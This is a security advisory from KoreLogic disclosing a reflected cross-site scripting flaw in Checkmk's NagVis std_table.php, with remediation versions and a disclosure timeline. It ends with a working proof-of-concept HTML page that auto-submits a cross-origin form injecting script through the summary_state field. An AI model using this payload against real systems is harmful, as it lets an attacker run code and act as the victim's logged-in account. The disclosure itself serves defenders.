Affected Systems
Discovered By
Vulnerability Details
Vulnerability Description
The “NagVis” component within Checkmk is vulnerable to reflected cross-site scripting. An attacker can craft a malicious link that will execute arbitrary JavaScript in the context of the browser once clicked. The attack can be performed on both authenticated and unauthenticated users.
Technical Description
Checkmk version 2.3.0.p2 ships with a component named
“NagVis”, which is an addon for the network management
system “Nagios”. When receiving an HTTP POST request for the
userfiles/gadgets/std_table.php file, the query and body
parameters contained within the request are processed by the
script. Specifically, the script accepts the members body
parameter, which is then parsed as a JSON object.
The summary_state property of the members JSON object is
reflected into the page response without validation. A POST
request containing a malicious summary_state value can inject
arbitrary JavaScript via the HTML script tag into the page
response. When rendered in a browser, the attacker controlled
JavaScript executes, enabling an attacker to perform actions
as the currently logged-in user.
The members JSON object must be supplied via a POST
body parameter, so exploitation of this issue relies
on a cross-origin HTTP request originating from an
attacker controlled web page. The malicious website
(e.g. https://attacker.com/foo.html) can contain an HTML
form tag with an action attribute pointing at the URL
for the std_table.php script. Additional JavaScript on the
attacker controlled page can automatically submit the form once
a user loads the page. The browser will send a POST request
cross-origin and redirect the browser to the HTTP response of
the POST request, thereby executing the malicious JavaScript
on the NagVis web page.
Mitigation and Remediation Recommendation
This issue has been remediated in Nagvis 1.9.42 and Checkmk 2.3.0p10, both release 2024-07-15.
Credit
This vulnerability was discovered by Jaggar Henry and Jim Becher of KoreLogic, Inc.
Proof of Concept
- Serve the following HTML from a web server (e.g. python -m http.server)
- View the URL serving the file in a web browser:
<html>
<form
method="POST"
action="http://checkmkhost/cmk/nagvis/userfiles/gadgets/std_table.php?object_id=1337&scale=100&opts=show_service_states=foo;group_states=0;&type=dyngroup&object_types=host&state=FL"
>
<input
type="hidden"
name="members"
value='[{"summary_in_downtime":1,"summary_state":"\"><script>eval(window.name)</script>"}]'
/>
</form>
<script>
window.onload = function () {
window.name = `prompt('KoreLogic')`;
document.forms[0].submit();
};
</script>
</html>The contents of this advisory are copyright(c) 2025 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy
Disclosure Timeline
KoreLogic reports vulnerability details to Checkmk Security Team.
Checkmk acknowledges receipt.
Checkmk requests an extension of embargo to 90 business days.
Checkmk/NagVis release versions featuring remediation for the reported vulnerability. Checkmk neglects to inform KoreLogic of this event.
KoreLogic requests an update from Checkmk but receives no reply.
KoreLogic public disclosure.
Responsible Disclosure
KoreLogic follows responsible disclosure practices. All vulnerabilities are reported to affected vendors with appropriate time for remediation before public disclosure.